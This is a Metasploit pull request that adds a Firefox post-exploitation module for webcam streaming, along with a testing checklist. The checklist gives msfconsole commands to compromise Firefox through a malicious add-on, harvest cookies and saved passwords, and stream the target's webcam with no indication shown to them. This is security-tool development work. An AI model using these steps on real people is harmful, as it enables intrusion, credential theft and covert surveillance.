rapid7/metasploit-framework — pull request #3427 by jvennix-r7 (2014-06-06 21:52:21+00:00)
Title: Adds webcam module for firefox privileged sessions

Would like @sinn3r to review this if possible. I had to refactor a bit of the methods for generating answerer.html/offerer.html, so regression tests need to be performed on meterpreter's webcam_chat.

This also implements command tokens for the ff js session handlers, since my javascript commands were getting too long.

#### Verification

- [ ] Run firefox_xpi_bootstrapped_addon to get a session:

msf> use exploit/multi/browser/firefox_xpi_bootstrapped_addon
msf> set lhost 192.168.0.5
msf> set uripath /x
msf> run -j

- [ ] On a *different machine*, in Firefox >= 22, browse to the URL serving the exploit and click Install
- [ ] you should get a session
- [ ] Ensure that you can run `post/firefox/gather/cookies` against the session
- [ ] Ensure that you can run `post/firefox/gather/passwords` against the session
- [ ] Ensure that you can run `post/firefox/gather/history` against the session

- [ ] Run the webcam_chat post module:

msf> use post/firefox/gather/webcam_chat
msf> set session 3
msf> run

- [ ] A window should open in your browser. Click Allow Webcam and you should see the target's webcam.
- [ ] No indication should be shown to the target that this is happening.
- [ ] When you close your window, the target's webcam stops streaming
- [ ] run the post module again, make sure the stream still works
- [ ] manually close the session from the post module:

msf> set CLOSE true
msf> run

- [ ] the target's webcam stream shuts off
- [ ] Run the module again with the `VISIBLE` datastore option set to true
- [ ] the stream should work and the web page containing the feeds should be visible to the target

##### Meterpreter regression tests

- [ ] Get a meterpreter session against a windows machine.
- [ ] Ensure the `webcam_chat` command works as expected